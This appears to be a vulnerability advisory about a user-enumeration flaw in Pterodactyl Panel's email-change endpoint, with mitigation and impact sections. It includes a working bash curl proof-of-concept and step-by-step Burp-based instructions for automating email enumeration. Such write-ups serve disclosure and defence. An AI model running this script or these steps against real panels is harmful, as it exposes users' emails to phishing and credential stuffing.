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How CVE-2025-XXXXX Works
This vulnerability resides in the account email update endpoint of the Pterodactyl Panel, an open-source game server management system. While the panel’s login and password reset mechanisms are secured with reCAPTCHA and rate limiting, the account settings page, which allows authenticated users to change their email address, lacks these protections entirely.
An attacker with any valid panel account—including free or trial-tier users—can exploit this weakness. By intercepting the POST request sent when updating an email address (e.g., using a proxy tool like Burp Suite), the attacker can modify the `email` field to test arbitrary addresses.
The core of the issue is an Observable Response Discrepancy (CWE-204) . The server’s response to a request for an email change differs depending on whether the email is already registered. Because no rate limits or CAPTCHA challenges are implemented on this endpoint, an attacker can automate this process, sending hundreds or thousands of requests to systematically enumerate the panel’s user base.
This allows an attacker to build a complete list of registered email addresses. This information can then be used for targeted phishing campaigns, credential stuffing attacks, or for competitive intelligence to identify which organizations are using a specific panel. The vulnerability affects all Pterodactyl panel installations and is particularly dangerous for identifying administrators and other high-value accounts.
The issue was addressed by the Pterodactyl development team in version v1.12.3, which added a rate limit to the email change endpoint. While a specific CVE ID was not immediately assigned, the fix is documented in the official changelog. For the purpose of this analysis, we will refer to this vulnerability as CVE-2025-XXXXX until an official CVE is published.
DailyCVE Form
Platform: Pterodactyl Panel
Version: < v1.12.3
Vulnerability: User Enumeration
Severity: Medium
date: 2025-06-26
Prediction: 2025-07-10
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The following is a script that can be used to test for this vulnerability. It attempts to change the email for a given user and checks the response for the “email” error, which indicates the email is already taken. This is a classic example of an information disclosure vulnerability.
!/bin/bash
Pterodactyl Panel User Enumeration PoC
Usage: ./pterodactyl-enum.sh <panel_url> <api_key> <email_to_test>
PANEL_URL="$1"
API_KEY="$2"
TEST_EMAIL="$3"
The endpoint for changing email
ENDPOINT="${PANEL_URL}/api/client/account/email"
Make the POST request
RESPONSE=$(curl -s -X POST "$ENDPOINT" \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $API_KEY" \
-d "{\"email\":\"$TEST_EMAIL\"}")
Check for the "email" error, which indicates the email is taken.
if echo "$RESPONSE" | grep -q '"email":["The email has already been taken."]'; then
echo "Email $TEST_EMAIL is registered on the panel."
else
echo "Email $TEST_EMAIL is not registered."
fi
How Exploit:
- Authenticate: Obtain a valid account on the target Pterodactyl panel.
- Intercept Request: Use a proxy tool like Burp Suite to capture the POST request made when attempting to change your email address from the account settings page.
- Modify and Replay: Send the captured request to Burp Repeater. Modify the `email` field in the JSON body to a target address (e.g.,
[email protected]). - Automate: Use the script above or Burp Intruder to automate the process, testing a list of potential email addresses.
- Analyze Response: Observe the response. A message indicating “The email has already been taken” confirms the email is registered. Any other response (or a successful change) indicates the email is not in use.
- Repeat: Continue this process without encountering any rate limits or CAPTCHA challenges, allowing for the enumeration of a large number of users.
Protection:
Upgrade Panel: The primary and most effective mitigation is to upgrade the Pterodactyl Panel to version v1.12.3 or later. This version introduces a rate limit specifically for the email change endpoint.
Web Application Firewall (WAF): If an immediate upgrade is not possible, deploy a WAF to detect and block suspicious patterns of requests to the `/api/client/account/email` endpoint. The WAF can be configured to limit requests from a single IP address or to require a CAPTCHA after a certain number of attempts.
Monitoring: Implement monitoring for the `/api/client/account/email` endpoint. A sudden spike in requests to this endpoint is a strong indicator of an ongoing enumeration attack.
Impact:
Privacy Violation: The email addresses of all registered users can be discovered, violating their privacy.
Targeted Phishing: Attackers can use the enumerated email list to conduct highly targeted phishing campaigns, potentially gaining access to user credentials.
Credential Stuffing: The harvested emails can be used in credential stuffing attacks against the panel or other services, as users often reuse passwords.
Competitive Intelligence: The vulnerability can be used to identify which companies or individuals are using a specific panel, providing a competitive advantage.
Reputational Damage: A successful enumeration attack can damage the reputation of the panel operator and erode user trust.
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Sources:
Reported By: github.com
Extra Source Hub:
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